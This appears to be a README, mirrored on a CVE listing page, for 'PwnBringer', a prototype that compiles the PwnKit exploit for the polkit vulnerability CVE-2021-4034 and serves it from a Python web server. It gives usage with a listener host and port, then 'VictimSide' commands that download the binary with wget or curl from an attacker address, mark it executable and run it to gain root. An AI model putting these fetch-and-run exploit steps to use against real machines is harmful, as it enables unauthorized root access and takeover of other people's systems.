CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Description

PwnKit auto generate and Serve

介绍

# PwnBringer
auto generate and Serve Of PwnKit

compile the source code to binary for pwnkit
and automaticaly python server is on,

this is ProtoType
so, perhaps not work depending on the environment.

```
chmod +x PwnBringer.py
./PwnBringer.py <lhost> <lport>
```

![alt text](https://github.com/Ki11i0n4ir3/PwnBringer/blob/main/%E3%82%B9%E3%82%AF%E3%83%AA%E3%83%BC%E3%83%B3%E3%82%B7%E3%83%A7%E3%83%83%E3%83%88%202022-02-03%20120934.png)

```
[VictimSide]

user1@deb:~$ wget http://192.168.0.4:1234/PwnKit 
user1@deb:~$ chmod +x PwnKit
user1@deb:~$ ./PwnKit

or

user1@deb:~$ curl http://192.168.0.4:1234/PwnKit -o PwnKit
user1@deb:~$ chmod +x PwnKit
user1@deb:~$ ./PwnKit
```

![alt text](https://github.com/Ki11i0n4ir3/gifs/blob/main/daddy2.gif)

文件快照

备注